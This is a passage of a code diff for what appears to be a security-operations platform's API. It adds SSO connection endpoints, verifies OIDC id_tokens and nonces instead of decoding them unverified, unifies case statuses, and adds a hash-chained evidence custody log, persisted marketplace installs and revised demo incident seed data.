status_code=status.HTTP_409_CONFLICT,+ detail=f"issuer {body.issuer!r} is already registered for {body.provider}",+ ) from exc++ if row is None: # pragma: no cover - RETURNING always yields on success+ raise HTTPException(status_code=500, detail="connection was not created")+ return _row_to_out(row)++[email protected]("/{connection_id}", response_model=SsoConnectionOut)+async def update_sso_connection(+ connection_id: uuid.UUID,+ body: SsoConnectionIn,+ current_user: Annotated[AuthUser, Depends(require_permission("settings:write"))],+ db: TenantDBSession,+) -> SsoConnectionOut:+ """Replace a connection's configuration.++ The tenant is not settable: moving a connection between tenants would+ silently re-home every user who signs in through it.+ """+ _assert_roles_grantable(current_user, body)++ row = (+ (+ await db.execute(+ text("""+ UPDATE aisoc_sso_connections+ SET provider = :p, issuer = :i, display_name = :d, enabled = :e,+ group_role_mapping = CAST(:m AS jsonb), default_role = :r,+ metadata_url = :mu, metadata_xml = :mx, updated_at = NOW()+ WHERE id = CAST(:id AS uuid) AND tenant_id = CAST(:t AS uuid)+ RETURNING id, tenant_id, provider, issuer, display_name, enabled,+ group_role_mapping, default_role, metadata_url, metadata_xml,+ created_at, updated_at+ """).bindparams(+ id=str(connection_id),+ t=str(current_user.tenant_id),+ p=body.provider,+ i=body.issuer,+ d=body.display_name,+ e=body.enabled,+ m=json.dumps(body.group_role_mapping),+ r=body.default_role,+ mu=body.metadata_url,+ mx=body.metadata_xml,+ )+ )+ )+ .mappings()+ .first()+ )+ if row is None:+ raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail="connection not found")+ return _row_to_out(row)++[email protected]("/{connection_id}", status_code=status.HTTP_204_NO_CONTENT, response_model=None)+async def delete_sso_connection(+ connection_id: uuid.UUID,+ current_user: Annotated[AuthUser, Depends(require_permission("settings:write"))],+ db: TenantDBSession,+) -> None:+ """Remove a connection. Sign-ins through that issuer start answering 403 again."""+ result = await db.execute(+ text("""+ DELETE FROM aisoc_sso_connections+ WHERE id = CAST(:id AS uuid) AND tenant_id = CAST(:t AS uuid)+ """).bindparams(id=str(connection_id), t=str(current_user.tenant_id))+ )+ if result.rowcount == 0:+ raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail="connection not found")diff --git a/services/api/app/api/v1/router.py b/services/api/app/api/v1/router.pyindex abdd00cf9..0b970a239 100644--- a/services/api/app/api/v1/router.py+++ b/services/api/app/api/v1/router.py@@ -82,6 +82,7 @@ from app.api.v1.endpoints import (saved_views,scim_tokens,sla,+ sso_connections,stix_taxii,tenant_provision,tenant_skills,@@ -227,6 +228,7 @@ api_router.include_router(saved_views.router)# Administering SCIM credentials, which is a console action. The SCIM# surface those credentials authenticate is mounted at /scim/v2 in main.py.api_router.include_router(scim_tokens.router)+api_router.include_router(sso_connections.router)# Wave 3 — operational maturityapi_router.include_router(assets.router)diff --git a/services/api/app/auth/oidc.py b/services/api/app/auth/oidc.pyindex 6746c6a56..8b0e23a18 100644--- a/services/api/app/auth/oidc.py+++ b/services/api/app/auth/oidc.py@@ -22,11 +22,13 @@ Configuration (env vars):from __future__ import annotationsimport hashlib+import jsonimport loggingimport osimport reimport secretsfrom datetime import UTC, datetime, timedelta+from functools import lru_cachefrom typing import Anyfrom urllib.parse import urlencode, urlparse@@ -85,16 +87,128 @@ async def _discover(issuer: str) -> dict[str, Any]:return data-# ─── In-memory state store (replace with Redis in production) ─────────────────+# ─── id_token verification ────────────────────────────────────────────────────++class _IdTokenInvalid(Exception):+ """The id_token did not verify. Carries why, for the log line only."""+++#: One JWKS client per issuer. `PyJWKClient` caches signing keys itself and+#: re-fetches on an unknown `kid`, which is what makes provider key rotation+#: work without a restart.+_jwks_clients: dict[str, Any] = {}+++def _jwks_client_for(provider: dict[str, Any]) -> Any:+ uri = provider.get("jwks_uri")+ if not uri:+ raise _IdTokenInvalid("the discovery document declares no jwks_uri")+ client = _jwks_clients.get(uri)+ if client is None:+ client = _jwt.PyJWKClient(uri, cache_keys=True)+ _jwks_clients[uri] = client+ return client+++async def _verify_id_token(id_token: str, *, issuer: str, provider: dict[str, Any]) -> dict[str, Any]:+ """Verify signature, issuer, audience and expiry, or raise.++ Every failure mode raises rather than returning partial claims. An+ id_token that fails any check is not a weaker token, it is a token+ from somebody else.+ """+ client_id = os.getenv("OIDC_CLIENT_ID", "")+ try:+ signing_key = _jwks_client_for(provider).get_signing_key_from_jwt(id_token)+ except _IdTokenInvalid:+ raise+ except Exception as exc: # noqa: BLE001 - any JWKS failure is a refusal+ raise _IdTokenInvalid(f"could not resolve a signing key: {exc}") from exc++ # `iss` is compared against the issuer this deployment is configured+ # for, not against the one inside the token.+ expected_issuer = provider.get("issuer") or issuer+ try:+ return dict(+ _jwt.decode(+ id_token,+ signing_key.key,+ algorithms=provider.get("id_token_signing_alg_values_supported") or ["RS256"],+ audience=client_id or None,+ issuer=expected_issuer or None,+ options={+ "verify_signature": True,+ "verify_exp": True,+ "verify_aud": bool(client_id),+ "verify_iss": bool(expected_issuer),+ },+ )+ )+ except Exception as exc: # noqa: BLE001+ raise _IdTokenInvalid(str(exc)) from exc+++# ─── State store ──────────────────────────────────────────────────────────────+#+# Redis-backed, with an in-process fallback for single-replica and test+# deployments. This was a plain module dict, which breaks the flow outright+# on more than one replica: the browser is redirected by the instance that+# generated the state and comes back to whichever instance the load+# balancer picks, so roughly (n-1)/n of sign-ins failed with "Invalid or+# expired OIDC state" on an n-replica deployment.+#+# The entry holds the PKCE verifier and the nonce, so it is short-lived by+# design — `_STATE_TTL_SECONDS` bounds how long an authorization code may+# sit unredeemed.++_STATE_TTL_SECONDS = 600+_STATE_PREFIX = "aisoc:oidc:state:"++#: Fallback only. Used when Redis is absent, which is a supported+#: single-replica configuration._state_store: dict[str, dict[str, str]] = {}-def _store_state(state: str, data: dict[str, str]) -> None:+@lru_cache(maxsize=1)+def _state_redis() -> Any | None:+ try:+ from redis.asyncio import from_url # noqa: PLC0415++ from app.core.config import settings # noqa: PLC0415++ return from_url(str(settings.REDIS_URL), decode_responses=True)+ except Exception: # noqa: BLE001 - absence is a supported configuration+ return None+++async def _store_state(state: str, data: dict[str, str]) -> None:+ client = _state_redis()+ if client is not None:+ try:+ await client.set(_STATE_PREFIX + state, json.dumps(data), ex=_STATE_TTL_SECONDS)+ return+ except Exception as exc: # noqa: BLE001+ logger.warning(+ "oidc.state_store_unavailable falling back to in-process: %s",+ str(exc).replace("\r", "").replace("\n", " ")[:200],+ )_state_store[state] = data-def _pop_state(state: str) -> dict[str, str] | None:+async def _pop_state(state: str) -> dict[str, str] | None:+ """Read and delete in one step, so a state cannot be replayed."""+ client = _state_redis()+ if client is not None:+ try:+ raw = await client.getdel(_STATE_PREFIX + state)+ if raw:+ return dict(json.loads(raw))+ except Exception as exc: # noqa: BLE001+ logger.warning(+ "oidc.state_read_unavailable falling back to in-process: %s",+ str(exc).replace("\r", "").replace("\n", " ")[:200],+ )return _state_store.pop(state, None)@@ -171,7 +285,7 @@ async def oidc_login(request: Request, redirect: str = "/") -> Response:params["code_challenge_method"] = "S256"state_data["verifier"] = verifier- _store_state(state, state_data)+ await _store_state(state, state_data)auth_url = provider["authorization_endpoint"] + "?" + urlencode(params)response = RedirectResponse(url=auth_url)@@ -191,7 +305,7 @@ async def oidc_callback(if error:raise HTTPException(status_code=400, detail=f"OIDC error: {error}")- state_data = _pop_state(state)+ state_data = await _pop_state(state)if state_data is None:raise HTTPException(status_code=400, detail="Invalid or expired OIDC state")@@ -226,14 +340,48 @@ async def oidc_callback(raise HTTPException(status_code=502, detail=f"Token exchange failed: {token_resp.text}")tokens = token_resp.json()- # Decode id_token (no signature verification here — use provider JWKS in production)+ # Verify the id_token against the provider's published JWKS.+ #+ # This used to decode with `options={"verify_signature": False}` under a+ # comment saying to use JWKS in production. An unverified id_token is a+ # base64 blob anyone can author: its `sub`, `email` and `groups` claims+ # are attacker-controlled, and they are merged into the identity below.+ # The userinfo response is TLS-authenticated and was carrying the real+ # weight, but `{**claims, **userinfo}` means any claim userinfo omits+ # came straight from the unverified token.+ #+ # Verification is mandatory. A token that does not verify is discarded+ # rather than downgraded, because falling back to unverified claims on+ # error is the same hole with an extra step.id_token = tokens.get("id_token", "")claims: dict[str, Any] = {}if id_token:try:- claims = _jwt.decode(id_token, options={"verify_signature": False})- except Exception as exc: # noqa: BLE001- logger.debug("Failed to decode id_token claims: %s", exc)+ claims = await _verify_id_token(id_token, issuer=issuer, provider=provider)+ except _IdTokenInvalid as exc:+ logger.warning(+ "oidc.id_token_rejected issuer=%s reason=%s",+ str(issuer).replace("\r", "").replace("\n", " ")[:200],+ str(exc).replace("\r", "").replace("\n", " ")[:200],+ )+ raise HTTPException(+ status_code=status.HTTP_401_UNAUTHORIZED,+ detail="The identity provider's id_token could not be verified.",+ ) from exc++ # The nonce was generated, sent and then never checked, which left+ # the authorization-code flow open to replay of a token minted for+ # a different sign-in attempt.+ expected_nonce = (state_data or {}).get("nonce")+ if expected_nonce and claims.get("nonce") != expected_nonce:+ logger.warning(+ "oidc.nonce_mismatch issuer=%s",+ str(issuer).replace("\r", "").replace("\n", " ")[:200],+ )+ raise HTTPException(+ status_code=status.HTTP_401_UNAUTHORIZED,+ detail="The identity provider's response did not match this sign-in attempt.",+ )access_token = tokens.get("access_token", "")diff --git a/services/api/app/data/marketplace/index.json b/services/api/app/data/marketplace/index.jsonindex 1f5a048eb..04d78d188 100644--- a/services/api/app/data/marketplace/index.json+++ b/services/api/app/data/marketplace/index.json@@ -1,7 +1,7 @@{"$schema": "https://example.com/schemas/marketplace/v1.json","version": "1.0.0",- "generated": "2026-10-02T04:17:51Z",+ "generated": "2026-10-03T15:14:21Z","categories": [{"id": "playbooks",diff --git a/services/api/app/models/case.py b/services/api/app/models/case.pyindex 66a728c09..eda0647b5 100644--- a/services/api/app/models/case.py+++ b/services/api/app/models/case.py@@ -4,14 +4,19 @@ import uuidfrom datetime import UTC, datetimefrom sqlalchemy import DateTime, ForeignKey, String, Text-from sqlalchemy.dialects.postgresql import JSONB, UUID+from sqlalchemy.dialects.postgresql import ARRAY, JSONB, UUIDfrom sqlalchemy.orm import Mapped, mapped_column, relationshipfrom app.db.database import Baseclass Case(Base):- __tablename__ = "cases"+ # Gap-closure wave 1. This pointed at `cases` while the console wrote+ # `aisoc_cases`, and the two never synchronised — so MTTR, the case+ # counts, the executive digest and the MSSP portfolio were all blind+ # to every case an analyst created. Migration 083 moved the rows and+ # renamed the old table to `cases_pre_consolidation`.+ __tablename__ = "aisoc_cases"id: Mapped[uuid.UUID] = mapped_column(UUID(as_uuid=True), primary_key=True, default=uuid.uuid4)tenant_id: Mapped[uuid.UUID] = mapped_column(ForeignKey("tenants.id"), nullable=False, index=True)@@ -39,7 +44,9 @@ class Case(Base):sla_breached: Mapped[bool] = mapped_column(default=False)# Linked data- alert_ids: Mapped[list] = mapped_column(JSONB, default=list)+ # `uuid[]`, not JSONB: that is what the surviving table declares, and+ # the ORM matching the column beats the column matching the ORM.+ alert_ids: Mapped[list] = mapped_column(ARRAY(UUID(as_uuid=True)), default=list)ioc_ids: Mapped[list] = mapped_column(JSONB, default=list)artifact_ids: Mapped[list] = mapped_column(JSONB, default=list)tags: Mapped[list] = mapped_column(JSONB, default=list)@@ -68,7 +75,7 @@ class CaseTask(Base):__tablename__ = "case_tasks"id: Mapped[uuid.UUID] = mapped_column(UUID(as_uuid=True), primary_key=True, default=uuid.uuid4)- case_id: Mapped[uuid.UUID] = mapped_column(ForeignKey("cases.id"), nullable=False, index=True)+ case_id: Mapped[uuid.UUID] = mapped_column(ForeignKey("aisoc_cases.id"), nullable=False, index=True)tenant_id: Mapped[uuid.UUID] = mapped_column(UUID(as_uuid=True), nullable=False, index=True)title: Mapped[str] = mapped_column(String(500), nullable=False)description: Mapped[str | None] = mapped_column(Text, nullable=True)@@ -85,7 +92,7 @@ class CaseTimeline(Base):__tablename__ = "case_timeline"id: Mapped[uuid.UUID] = mapped_column(UUID(as_uuid=True), primary_key=True, default=uuid.uuid4)- case_id: Mapped[uuid.UUID] = mapped_column(ForeignKey("cases.id"), nullable=False, index=True)+ case_id: Mapped[uuid.UUID] = mapped_column(ForeignKey("aisoc_cases.id"), nullable=False, index=True)tenant_id: Mapped[uuid.UUID] = mapped_column(UUID(as_uuid=True), nullable=False)event_type: Mapped[str] = mapped_column(String(50), nullable=False) # comment/status_change/assignment/etccontent: Mapped[str] = mapped_column(Text, nullable=False)diff --git a/services/api/app/models/detection_proposal.py b/services/api/app/models/detection_proposal.pyindex 0f87dde54..def6c8c40 100644--- a/services/api/app/models/detection_proposal.py+++ b/services/api/app/models/detection_proposal.py@@ -35,6 +35,12 @@ class DetectionRuleProposal(Base):mitre_techniques: Mapped[list] = mapped_column(JSONB, default=list)tags: Mapped[list] = mapped_column(JSONB, default=list)+ # The proposal's own proof. `/evaluate-rule` replays these through the+ # real engine, and `/decide` refuses an approval without that verdict —+ # so a proposal that did not keep its fixtures could never be approved.+ positive_fixtures: Mapped[list] = mapped_column(JSONB, default=list)+ negative_fixtures: Mapped[list] = mapped_column(JSONB, default=list)+status: Mapped[str] = mapped_column(String(20), default="proposed", index=True)eval_result: Mapped[dict] = mapped_column(JSONB, default=dict)review_comments: Mapped[list] = mapped_column(JSONB, default=list)diff --git a/services/api/app/scripts/seed_demo.py b/services/api/app/scripts/seed_demo.pyindex 55907ab6b..a70bfe9c1 100644--- a/services/api/app/scripts/seed_demo.py+++ b/services/api/app/scripts/seed_demo.py@@ -298,7 +298,7 @@ _REALISTIC_INCIDENTS: list[dict] = ["being isolated."),"severity": "critical",- "status": "in_progress",+ "status": "investigating","host": "WIN-FIN-DB01","user": "[email protected]","src_ip": "203.0.113.42",@@ -507,7 +507,7 @@ _REALISTIC_INCIDENTS: list[dict] = ["login + MFA-push approval from a never-seen device."),"severity": "high",- "status": "in_progress",+ "status": "investigating","host": "WIN-HR-DESKTOP","user": "[email protected]","src_ip": "45.155.205.88",@@ -576,7 +576,7 @@ _REALISTIC_INCIDENTS: list[dict] = ["from a non-corp IP. Key has been disabled."),"severity": "high",- "status": "in_progress",+ "status": "investigating","host": "ec2-build-worker-09","user": "iam-user/build-runner","src_ip": "104.244.42.193",@@ -690,7 +690,7 @@ _REALISTIC_INCIDENTS: list[dict] = ["was unpublished from the registry 18 minutes after install."),"severity": "high",- "status": "in_progress",+ "status": "investigating","host": "LIN-K8S-NODE-03","user": "ci-runner","src_ip": "5.39.222.7",@@ -759,7 +759,7 @@ _REALISTIC_INCIDENTS: list[dict] = ["with TXT-record payloads to `azonly-cdn.io`."),"severity": "critical",- "status": "in_progress",+ "status": "investigating","host": "WIN-DEVOPS-LT","user": "[email protected]","src_ip": "10.0.5.27",@@ -840,7 +840,7 @@ _REALISTIC_INCIDENTS: list[dict] = ["rejected the call but the attempt is high-confidence."),"severity": "critical",- "status": "open",+ "status": "new","host": "WIN-DEVOPS-LT","user": "[email protected]","src_ip": "10.0.5.27",@@ -937,7 +937,7 @@ _REALISTIC_INCIDENTS: list[dict] = ["on the node. Detected by Falco, validated via kube-audit + auditd."),"severity": "critical",- "status": "in_progress",+ "status": "investigating","host": "LIN-K8S-NODE-03","user": "system:serviceaccount:dev:builder-sa","src_ip": "10.0.4.91",@@ -998,7 +998,7 @@ _REALISTIC_INCIDENTS: list[dict] = ["180 MB. Matches dnscat2 behaviour."),"severity": "high",- "status": "in_progress",+ "status": "investigating","host": "MAC-SARAH-LT","user": "[email protected]","src_ip": "10.0.6.19",@@ -1133,7 +1133,7 @@ _REALISTIC_INCIDENTS: list[dict] = ["approved on the 21st prompt, granting access from a Russia-based IP."),"severity": "high",- "status": "in_progress",+ "status": "investigating","host": "MAC-EVE-LT","user": "[email protected]","src_ip": "5.188.86.69",@@ -1195,16 +1195,16 @@ _REALISTIC_INCIDENTS: list[dict] = ["connection to DC01. Host has been isolated."),"severity": "high",- "status": "open",+ "status": "new","host": "WIN-PROD-WEB02","user": "administrator",- "src_ip": "185.220.101.6",+ "src_ip": "198.51.100.6","tactic_ids": ["TA0006", "TA0008"],"technique_ids": ["T1110.001", "T1021.001"],"tags": ["brute-force", "rdp", "tor", "lateral"],"alerts": [{- "title": "WinEventLog: 1,247 failed 4625 logons from 185.220.101.6",+ "title": "WinEventLog: 1,247 failed 4625 logons from 198.51.100.6","severity": "high","source": "Windows Security","category": "siem",@@ -1216,7 +1216,7 @@ _REALISTIC_INCIDENTS: list[dict] = ["FailureReason": "Unknown user name or bad password.","TargetUserName": "administrator","WorkstationName": "kali",- "IpAddress": "185.220.101.6",+ "IpAddress": "198.51.100.6","LogonType": 10,"failure_count": 1_247,},@@ -1233,7 +1233,7 @@ _REALISTIC_INCIDENTS: list[dict] = ["EventCode": 4624,"LogonType": 10,"TargetUserName": "administrator",- "IpAddress": "185.220.101.6",+ "IpAddress": "198.51.100.6","AuthenticationPackageName": "Negotiate",},},@@ -2541,7 +2541,7 @@ _DEMO_QUICK_INCIDENTS: list[dict] = ["forwarding rule that hides external mail."),"severity": "high",- "status": "in_progress",+ "status": "investigating","host": "MAC-ALICE-LT","user": "[email protected]","src_ip": "185.199.108.153",@@ -2632,7 +2632,7 @@ _DEMO_QUICK_INCIDENTS: list[dict] = ["from `corp-hr-backups`. Key has not yet been disabled."),"severity": "critical",- "status": "in_progress",+ "status": "investigating","host": "ec2-build-worker-09","user": "iam-user/build-runner","src_ip": "104.244.42.193",@@ -2722,7 +2722,7 @@ _DEMO_QUICK_INCIDENTS: list[dict] = ["account. DLP egress proxy blocked the second batch."),"severity": "high",- "status": "in_progress",+ "status": "investigating","host": "WIN-HR-DESKTOP","user": "[email protected]","src_ip": "10.42.7.119",@@ -2808,7 +2808,7 @@ _DEMO_QUICK_INCIDENTS: list[dict] = ["is queued."),"severity": "critical",- "status": "in_progress",+ "status": "investigating","host": "WIN-FIN-DB01","user": "[email protected]","src_ip": "10.42.1.87",@@ -3214,7 +3214,7 @@ _REANCHOR_TABLES: tuple[tuple[str, tuple[str, ...]], ...] = ("snoozed_until",),),- ("cases", ("created_at", "updated_at", "closed_at", "assigned_at", "sla_deadline")),+ ("aisoc_cases", ("created_at", "updated_at", "closed_at", "assigned_at", "sla_deadline")),("case_tasks", ("created_at", "due_date", "completed_at")),("case_timeline", ("created_at",)),("remediation_gate_log", ("created_at",)),diff --git a/services/api/app/services/alert_queue.py b/services/api/app/services/alert_queue.pyindex 034c9a9c0..5e58f506b 100644--- a/services/api/app/services/alert_queue.py+++ b/services/api/app/services/alert_queue.py@@ -39,6 +39,7 @@ from sqlalchemy.ext.asyncio import AsyncSessionfrom app.models.alert import Alertfrom app.models.sla import TenantSLAConfig+from app.services import sla_eventsfrom app.services.sla import DEFAULT_SLA_TARGETS# Severities that show up in the *unassigned* bucket of the queue.@@ -469,7 +470,22 @@ async def claim_alert(update_result = await db.execute(update(Alert).where(Alert.id == alert_id, Alert.tenant_id == tenant_id, Alert.assigned_to_id.is_(None))- .values(assigned_to_id=user_id, assigned_at=now, updated_at=now)+ .values(+ assigned_to_id=user_id,+ assigned_at=now,+ updated_at=now,+ # Acknowledgement time, written once. `alerts.first_seen_at` had+ # no writer anywhere, so `/insights/soc` MTTA and `/metrics/soc`+ # mttd_hours both averaged over NULL and published a confident+ # `0.0` through `float(result or 0.0)` — a zero that read as+ # "instant acknowledgement" while meaning "nobody measured".+ #+ # COALESCE rather than a plain assignment: a claim after a+ # release is still the same alert, and resetting the clock on+ # re-assignment would make MTTA measure the last handoff rather+ # than the first human response.+ first_seen_at=func.coalesce(Alert.first_seen_at, now),+ ).returning(Alert.assigned_to_id))winner = update_result.scalar_one_or_none()@@ -486,6 +502,17 @@ async def claim_alert(return alertraise AlertAlreadyClaimedError(alert_id=alert_id, owner_id=actual_owner)+ # The claim is the acknowledgement, so it is also the `acknowledged`+ # SLA event. Emitted here rather than from a sweep so the timestamp is+ # the moment it happened.+ await sla_events.record_event(+ db,+ alert_id=alert_id,+ tenant_id=tenant_id,+ event_type="acknowledged",+ actor_id=user_id,+ occurred_at=now,+ )await db.commit()await db.refresh(alert)return alertdiff --git a/services/api/app/services/case_status.py b/services/api/app/services/case_status.pynew file mode 100644index 000000000..d3fe1dd19--- /dev/null+++ b/services/api/app/services/case_status.py@@ -0,0 +1,80 @@+"""One vocabulary for case status, so two surfaces cannot disagree.++Gap-closure wave 1.++Before the consolidation there were two case tables with two status+vocabularies, and the readers used the wrong one. `metrics.py` counted+`status == "open"` and `status == "in_progress"` — **neither of which is+a state the console can produce**. The console's machine is+``new → triaged → investigating → contained → resolved → closed``, so+those two counters were structurally zero rather than merely empty.++The subtler one is `resolved`. It looks terminal and is not: a case+moves `resolved → closed`, and `closed_at` is written on that last+transition. Counting "closed this week" as `status == 'resolved'`+therefore counts cases that are still open on an analyst's queue, and+misses every case that actually finished. This repository has shipped+that exact defect before.++Everything that asks a question about case status asks it here.+"""++from __future__ import annotations++from typing import Final++__all__ = [+ "ALL_STATUSES",+ "CLOSED",+ "CLOSED_STATUSES",+ "OPEN_STATUSES",+ "RESOLVED",+ "TERMINAL_STATUSES",+ "TRANSITIONS",+ "WORKING_STATUSES",+ "is_open",+ "is_terminal",+]++NEW: Final[str] = "new"+TRIAGED: Final[str] = "triaged"+INVESTIGATING: Final[str] = "investigating"+CONTAINED: Final[str] = "contained"+RESOLVED: Final[str] = "resolved"+CLOSED: Final[str] = "closed"++#: The state machine the console enforces. Mirrors `_TRANSITIONS` in the+#: cases endpoint, which imports from here so there is one copy.+TRANSITIONS: Final[dict[str, set[str]]] = {+ NEW: {TRIAGED},+ TRIAGED: {INVESTIGATING},+ INVESTIGATING: {CONTAINED, RESOLVED},+ CONTAINED: {RESOLVED},+ RESOLVED: {CLOSED},+ CLOSED: set(),+}++ALL_STATUSES: Final[tuple[str, ...]] = tuple(TRANSITIONS)++#: Still on somebody's queue. `resolved` is **in** this set: a resolved+#: case has an outcome but has not been closed out, and treating it as+#: finished is what made "cases closed this week" count the wrong rows.+OPEN_STATUSES: Final[tuple[str, ...]] = (NEW, TRIAGED, INVESTIGATING, CONTAINED, RESOLVED)++#: Somebody is actively working it, as distinct from newly arrived.+WORKING_STATUSES: Final[tuple[str, ...]] = (TRIAGED, INVESTIGATING, CONTAINED)++#: Finished. One member, and that is the point — `closed` is the only+#: state that writes `closed_at`, which every duration metric reads.+CLOSED_STATUSES: Final[tuple[str, ...]] = (CLOSED,)+TERMINAL_STATUSES: Final[tuple[str, ...]] = CLOSED_STATUSES+++def is_open(status: str | None) -> bool:+ """Whether this case still needs somebody."""+ return status in OPEN_STATUSES+++def is_terminal(status: str | None) -> bool:+ """Whether this case is finished. Only `closed` qualifies."""+ return status in TERMINAL_STATUSESdiff --git a/services/api/app/services/evidence_custody.py b/services/api/app/services/evidence_custody.pynew file mode 100644index 000000000..0b1dcd2d9--- /dev/null+++ b/services/api/app/services/evidence_custody.py@@ -0,0 +1,166 @@+"""Append tamper-evident custody entries to a case's evidence chain.++Wave 0 of the gap-closure plan.++`aisoc_cases.evidence_chain` has existed since migration 012. Three+places read it — the case detail, `GET /cases/{id}/evidence`, and the+case summary — and **nothing has ever written to it**, so the evidence+report an auditor exports has always been an empty list under a heading+that says "Evidence Chain".++That is worse than having no report. An empty chain under that heading+reads as "no evidence was handled", not as "this product does not record+custody".++What a custody entry records+------------------------------+Four things, which is what a chain of custody is for: **what** item,+**what happened** to it, **when**, and **who** did it. The actor is the+authenticated principal rather than a free-text name, because the column+an auditor reads must not be caller-supplied.++Why it is hash-chained+----------------------+Each entry carries the hash of the one before it, computed over a+canonical serialisation, exactly as `audit_hash` does for the audit log.+That makes a *silent* edit detectable: changing an entry breaks every+hash after it, and removing one breaks the link across the gap. It does+not make editing impossible — anyone with database access can rewrite+the whole chain — so this is tamper **evidence**, not tamper+**proofing**, and :func:`verify_chain` says which entry first disagrees+rather than returning a bare boolean.++The chain lives in the case's own JSONB column rather than a side table+so that it moves with the case: an export, a backup restore or a tenant+migration that carried the case but not its custody record would be a+chain with a hole in it and no way to tell.+"""++from __future__ import annotations++import hashlib+import json+import uuid+from datetime import UTC, datetime+from typing import Any++__all__ = [+ "CUSTODY_ACTIONS",+ "build_entry",+ "compute_entry_hash",+ "verify_chain",+]++#: The vocabulary. A closed set rather than free text, because a custody+#: log whose verbs vary by call site cannot be filtered or audited.+CUSTODY_ACTIONS = (+ "case_opened",+ "alert_linked",+ "alert_unlinked",+ "observable_added",+ "status_changed",+ "investigation_launched",+ "artifact_attached",+ "case_closed",+)+++def _canonical(payload: dict[str, Any]) -> bytes:+ """One byte representation, so a hash is reproducible by a reader."""+ return json.dumps(payload, sort_keys=True, separators=(",", ":"), default=str).encode("utf-8")+++def compute_entry_hash(entry: dict[str, Any], prev_hash: str | None) -> str:+ """SHA-256 over this entry's content mixed with its predecessor.++ `entry_hash` is excluded from its own input for the obvious reason.+ The previous hash goes in first so that the genesis entry (with no+ predecessor) is still distinguishable from one whose predecessor+ hashed to the empty string.+ """+ body = {k: v for k, v in entry.items() if k != "entry_hash"}+ digest = hashlib.sha256()+ digest.update((prev_hash or "").encode("utf-8"))+ digest.update(b"\x00")+ digest.update(_canonical(body))+ return digest.hexdigest()+++def build_entry(+ *,+ action: str,+ actor_id: Any,+ actor_email: str | None = None,+ item: str | None = None,+ detail: dict[str, Any] | None = None,+ prev_hash: str | None = None,+ at: datetime | None = None,+) -> dict[str, Any]:+ """One custody entry, hashed against the chain it will join.++ `action` outside :data:`CUSTODY_ACTIONS` raises. A typo'd verb would+ be stored happily and then never match a filter, which is the quiet+ failure this module exists to stop repeating.+ """+ if action not in CUSTODY_ACTIONS:+ raise ValueError(f"unknown custody action {action!r}; expected one of {list(CUSTODY_ACTIONS)}")++ entry: dict[str, Any] = {+ "id": str(uuid.uuid4()),+ "action": action,+ "at": (at or datetime.now(UTC)).isoformat(),+ "actor_id": str(actor_id) if actor_id is not None else None,+ "actor_email": actor_email,+ "item": item,+ "detail": detail or {},+ "prev_hash": prev_hash,+ }+ entry["entry_hash"] = compute_entry_hash(entry, prev_hash)+ return entry+++def append_entry(chain: list[dict[str, Any]] | None, **kwargs: Any) -> list[dict[str, Any]]:+ """Return the chain with one entry appended, linked to the current tail."""+ existing = list(chain or [])+ prev = existing[-1].get("entry_hash") if existing else None+ existing.append(build_entry(prev_hash=prev, **kwargs))+ return existing+++def verify_chain(chain: list[dict[str, Any]] | None) -> dict[str, Any]:+ """Recompute every link and name the first that disagrees.++ Returns a report rather than a boolean: "the chain is broken" sends an+ auditor to read all of it, while "entry 4 of 9 does not match" sends+ them to the row that changed.+ """+ entries = list(chain or [])+ if not entries:+ return {"intact": True, "entries": 0, "broken_at": None, "reason": None}++ prev_hash: str | None = None+ for index, entry in enumerate(entries):+ if entry.get("prev_hash") != prev_hash:+ return {+ "intact": False,+ "entries": len(entries),+ "broken_at": index,+ "reason": (+ f"entry {index} links to {entry.get('prev_hash')!r} but the entry before it "+ f"hashes to {prev_hash!r} — an entry was removed, reordered or inserted"+ ),+ }+ expected = compute_entry_hash(entry, prev_hash)+ if entry.get("entry_hash") != expected:+ return {+ "intact": False,+ "entries": len(entries),+ "broken_at": index,+ "reason": (+ f"entry {index} carries hash {entry.get('entry_hash')!r} but its contents "+ f"hash to {expected!r} — the entry was edited after it was written"+ ),+ }+ prev_hash = entry["entry_hash"]++ return {"intact": True, "entries": len(entries), "broken_at": None, "reason": None}diff --git a/services/api/app/services/marketplace_installs.py b/services/api/app/services/marketplace_installs.pynew file mode 100644index 000000000..0b92b5360--- /dev/null+++ b/services/api/app/services/marketplace_installs.py@@ -0,0 +1,102 @@+"""Which marketplace items a tenant has installed, in Postgres.++Wave 0 of the gap-closure plan.++Install state was a module-level dict guarded by a `threading.Lock`,+under a comment saying it was "intentionally tracked in-memory per+process for now". Two consequences, and the second is the worse one:++* Every install was **lost on restart**, so a tenant's enabled content+ silently reverted on each deploy.+* On more than one replica the answer to "is this installed" depended on+ which replica answered. An operator could install an item, refresh,+ and be told it was not installed — then install it again.++`marketplace_installs` has existed since migration 056, with exactly the+columns needed and a `UNIQUE (tenant_id, item_id)` constraint, and had+no reader or writer anywhere in the repository.++Idempotency+-----------+`ON CONFLICT (tenant_id, item_id) DO UPDATE` rather than a read-then-write.+Two replicas handling a double-click cannot both insert, and the second+refreshes the recorded version instead of failing — which is what the+in-memory path did by re-reading its own dict under a lock, a guarantee+that stopped holding the moment there were two processes.+"""++from __future__ import annotations++from datetime import UTC, datetime+from typing import Any++from sqlalchemy import text++__all__ = ["installed_item_ids", "record_install", "remove_install"]+++async def installed_item_ids(db: Any, *, tenant_id: Any) -> list[str]:+ """Item ids this tenant has installed."""+ rows = await db.execute(+ text("SELECT item_id FROM marketplace_installs WHERE tenant_id = CAST(:t AS uuid) ORDER BY installed_at DESC").bindparams(+ t=str(tenant_id)+ )+ )+ return [r[0] for r in rows.all()]+++async def record_install(+ db: Any,+ *,+ tenant_id: Any,+ item_id: str,+ item_type: str,+ version: str,+ content_sha256: str | None,+ installed_by: Any | None,+) -> tuple[datetime, bool]:+ """Record an install, returning ``(installed_at, already_installed)``.++ The sha is stored in `image_digest`, which migration 056 describes as+ "the digest the image resolved to at install time" — for on-disk+ content the equivalent is the content hash, and without it a reinstall+ after the file changed is indistinguishable from the original.+ """+ existing = await db.scalar(+ text("SELECT installed_at FROM marketplace_installs WHERE tenant_id = CAST(:t AS uuid) AND item_id = :i").bindparams(+ t=str(tenant_id), i=item_id+ )+ )++ now = datetime.now(UTC)+ await db.execute(+ text("""+ INSERT INTO marketplace_installs+ (tenant_id, item_id, item_type, version, image_digest, installed_by, installed_at)+ VALUES (CAST(:t AS uuid), :i, :ty, :v, :d, CAST(:by AS uuid), :at)+ ON CONFLICT (tenant_id, item_id) DO UPDATE+ SET item_type = EXCLUDED.item_type,+ 